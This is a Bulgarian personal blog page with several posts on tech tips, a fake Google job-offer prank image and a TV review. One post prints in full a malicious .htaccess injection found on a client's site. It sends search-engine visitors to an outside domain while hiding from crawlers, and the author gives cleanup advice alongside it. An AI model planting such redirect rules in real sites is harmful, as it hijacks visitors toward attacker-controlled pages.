Google Inc.

Работа в Google Inc. Ireland – файлове и инфо

На доста хора им хареса вчерашния номер с т.нар. наемане на работа от Google и последваха въпроси как и от къде да се сдобият с файловете, за да може да се гъбаркат с други техни познати.

Е качвам един архив във формат *.7z, в който се намира едно PSD с шегата.

Малко легенда:

YOUR NAME – Въвеждате вашето име

Червените квадрати – необходимо е да поставите ваша снимка (уж, че сте се логнали в Google+ профила си) – между двете има разлики в размерите. Тази, която се намира горе вдясно е с размери 27x27px, а другата под писмото е с размери 32х32px

Та дерзайте и после ще гледаме резултати :)

Изтегли GooglePrank_1stApril

google_employment

Работа в Google Inc. Ireland

Здравейте

Вероятно много от Вас са забелязали twitt-а ми или публикацията на личната ми стена във facebook относно приемането ми на работа в екипа на Google.

Трябва да Ви кажа, че наистина и аз бях учуден, че искат да ме наемат.

Гледайки отстрани работата в Google мисля, че ще ми донесе тази възможност за развитие, която търсих толкова време докато работех по свои проекти.

Надявам се, че в Google ще открия тези колеги, с които ще споделяме успехите и провалите от всеки започнат и успешно завършен проект.

Continue reading

Нови неща

Покрай събитията от 27-мо число забравих за няколко много важни неща, не ето, че им дойде най – накрая реда. По списък:

1. Сайта на он-лайн магазин eChark.com – това е диагноза стартира! И веднага стартира с нещо наистина хубаво – промоция на едни лаптопи, които с течение на времето се наложиха на пазара като добър коефициент цена / действие. Бързайте, за да не свършат бройките преди да се усетите, че искате лаптоп на изгодна цена.

2. Блогът се ъпдейтна. Сещам се, че трябва и тема да си изнамеря, че с правенето нещата май ще пропаднат.

3. Работата по фирмения сайт продължава с пълна сила – ако всичко е ок ще има съвместимост от IE6 през FF2, Opera 10 до сега последно каквото е излязло, че и за капак ще е валидирано по W3C!

4. Един от проектите ще получи тотална промяна. От нещо старо и събирано от тук и там в момента се пренаписва на чисто. Ама за това по – нататък.

Ай че скъпо…

Прехвърляне на контактите от facebook в google+

Събота Неделя вечер не е време за правене такава мизерия!!!

Изгледах интересен брой видеота как да си прехвърлим контактите, но искаха да се регистрирам в yahoo!Mail. Да ама аз преди доста време се разкарах от там и сега отново да се връщам към тях – не, благодаря.

Ровя се и се чудя как да го направя и по едно време ми светна, че Skype вкара видео разговори във facebook, а също така може да се кънектна към профила си. Та кънектнах се и пробвах да си източа всички контакти от facebook. Стана! Всичко мина по мед и масло. Само един бъг се появи, но за него по – надолу. Добавих ги в скайпа и след това в Skype -> Contacts -> Advanced -> Backup Contacts To File – задавате някакво име и разширението трябва да е *.vcf

След това отваряте gmail, не g+! В лявата колон под Mail пише Contacts. Цък там. После от падащото меню More actions -> Import. Зарежда се диалогов прозорец. Цък на Browse и си намираме файла, който по – рано съхранихме. След това цък на Import и чакаме gmail да си свърши работата.

Като приключи зареждаме g+. Цък после на кръговете. Избираме “Намиране на хора” и там ще са допълнително добавените контакти от въпросния файл.

Сега бъга: Оказа се, че при добавянето на контактите от facebook в skype тъпото приложение изпраща заявка за добавяне на skype акаунта на приятеля от facebook в контактната ми листа. Представете си ако добавяте над 300 акаунта какво става? И понеже това го правя вечерта представям си какво ще е на следващия ден!!!

истината е в htaccess

Преди малко един клиент звъни, че сайта му не се отваря. Отварям браузър, зареждам адреса и … нищо. Кънект към ftp-то и светва веднага работата! От някъде се е появил един .htaccess файл и вътре в него следния код:

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^(.*)$   http://gamecomes.org/cgi-bin/r.cgi?p=15004&i=1a855b47&j=333&m=e8b784f32f66a9939d48720b926a0041&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo

Накратко: човека къде е влизал, къде не, но е теглил нещо и го е инсталирал и после решил да си човърка по хостинга. Резултата е ясен.

Чистене: на първо време си написвате един скрипт да намери и изтрие всички .htaccess файлове /тези, които сте с wordpress внимателно, че да не берете ядове/. Стъпка две – СМЯНА НА ПАРОЛАТА за акаунта. Стъпка три – колкото и да ви е сигурна програмата за ftp достъп до хостинга никога да не се ползва опцията за съхраняване на парола.

към мен – никога повече, колкото и да иска клиента да не му се дава достъп до хостинга. Ха познайте кой излезе виновен :)

Ъпдейт: няколко минути по – късно след като пуснах поста

Оказва се, че не е ново това. Датира още от Май миналата година. Сещам се, че преди време пак ме търсиха за такъв проблем /там хвърляше грешка 500/ /намерете коментара ми в блога на Петър и Биляна/. Тогава белята бе във всяка папка и отне повече време да се изтрие. После се сетих, че можеше да се напише скрипт, за да се изтрият въпросните файлове.

В повечето случаи проблема е в задклавиатурното устройство!

безжичния офис aka wireless office

Тези дни бяха доста интересни за мен. Едва ли ще ми се отдаде втори път да изградя такова нещо, но все пак останах доста впечатлен. Идеята не е нито нова, нито стара, но да работиш върху това си оставя определена следа.

Инвеститор от Европа се свързва с мен, покрай мой познат, относно покупка на компютърна техника за новоизграждащ се офис. Като изискване не се искаше много от, колкото да се свържат компютрите в мрежа и един мрежови принтер да принтират служителите, но интересното бе, че инвеститора, един около 60-те години дядо, бе доста на ти с техниката и каза, че главното изискване е да има възможно най–малко кабели и да може да се включи единия лаптоп към телевизор, за да се показват проектите.

Та закупиха се 5бр. лаптопи Dell, за рутер се спрях на този, който аз лично си взех за вкъщи TP-Link TL-WR1043ND, за принтер се спрях на HP LJ 1102w, а за телевизор дядото закупи последния Samsung Smart TV. Стъпка едно конфигуриране на рутера – много лесно за тези, които са го правили. За тези, които не са следвайте инструкциите – It’s not rocket science! Наложи се да клонирам МАС адреса, че беше неделен ден, а някои сис-админи не бачкат в неделя (но това няма значение). Свързахме лаптопите в мрежа и следващата стъпка бе инсталиране на принтера. От опит знам, че първо трябва да сложа диска с драйверите за принтера и едва когато инсталацията поиска тогава да включа кабела. Така и направих. По време на инсталиране на принтера инсталацията попита как да конфигурира принтера по USB или безжично – съответно избор 2 безжично. Инсталатора махна текущо инсталираните драйвери и сложи тези за управление по безжичен тип. Преди да завърши инсталацията поиска да свържа принтера към рутера, та на самия рутер има един бутон QSS (Quick Security Setup) – натиснах го и потвърдих на инсталатора, че бутона е натиснат – останалото инсталатора на принтера си го свърши. След като завърши инсталацията разкачих USB кабела и реших да видя това дали ще печата. Уау!! Принтира си без проблем. До тук добре, ами другите лаптопи?? След кратка справка с ръководството се оказа, че трябва да отворя уеб браузър, да достъпи принтера по IP и от там да инсталирам принтера!? Шах и мат с пешката! Седя и гледам умно какво е написано и недоумявам как ще стане. Проверих какво IP е дало рутера на принтера и пробвах да го отворя през браузера – стана, егаси. Почнах да усещам, че отново трябва да чета повече ИТ новини. Оказа се, че драйверите са в сложени в самия принтер! Nice, a? Телевизора мина бързо по реда си – едно, че е нова технология, друго че вече знаех какво и къде да търся. Самият рутер предлага възможност да включиш външен хард (използвах Seagate FreeAgent 500GB) и да го шернеш по мрежата. Изпробвано е и работи – пуснах си през външния хард филм с HD качество (първо720p, после и 1080p) и нямаше никакво забавяне. През две стаи, едно на които стената е носеща и си бе доволна дебела, сигнала намаля от 5 на 3 черти, но не се забави нито за секунда. Рекох да тествам и телевизора – и това стана дядо попе! Реших да вкарам допълнително труд и заложих принтера и телевизора да резервират първите IP адреси, като си оставих и допълнително, ако решат да добавят принтер или друг телевизор. Лаптопите почнаха да си вземат IP-та от .30 нагоре. Показах и обясних всичко на инвеститора и се появи една доволна усмивка. Благодари и бяхме до там. Опитът с това ми хареса, така че някой ако има дертове с гореописаната техника ще може да дам съвет, а ако сте в района може и да намина, да затвърдя наученото. Единствения проблем, който ми прави рутера, е че от време на време забива и се налага рестарт, за да тръгне да работи отново.

Естествено заражда се и нотка на съмнение дали избраната техника е добра, и дали логиката, която съм следвал също е добра. Така че чакам мнения, ако някой е изграждал такова нещо, да сподели какво е използвал.

Google+1

Ето линка: http://www.google.com/webmasters/+1/button/

Много ми е интересно какво ще донесе като резултат.

Нещо което не ми хареса е, че трябва да имаш google акаунт, за да видиш въпросното +1 колко хора са го кликнали. Нещо май стратегията за привличане на клиенти не са я дообмислили.

Като положителна страна мини иконката пасна на дизайна на един от сайтовете който разработих и сега ще чакам да видим какво ще стане.

Дядо Радул гушна букета … или столичани в повече

Гледахте ли първата серия?

Аз да!

Голям смях падна. Българинът и българщината бяха иронизирани по начин, който те кара да се припознаеш във всеки един актьор и във всяка една ситуация. За сега действието се развива много добре, нито бавно, нито бързо. Интересна е и идеята какво ще се случи по – нататък да не се показва в сериала, а отделно. Навярно, че за някои това ще е неприятно, но какво да се прави. Историята все още се развива и за това на някой може да му се стори вяла първата серия, но очаквам нещата да се задълбочат и да стане и по – интересно, и по – смешно.

Към всичко не може и да не критикувам – част от актьорите имат нужда от шлайфане. Някои играха много вдървено – да се надявам, че тези грешки ще изчезнат като минат няколко серии.

В класацията ми отива заедно със сериала “Морска сол” като оценка много добър.

Защо НЕ трябва да си купуваме ИТ техника от Техно* моловете

Идеята на този блог е да пиша за програмиране и решаване на някои всекидневно срещани проблеми в програмирането, но има и теми, които не бих желал да пропусна.

Преди няколко дни за пореден път си отговорих на въпроса, защо има създадени компютърни фирми, и защо продължава да има идиоти сред населението.

Continue reading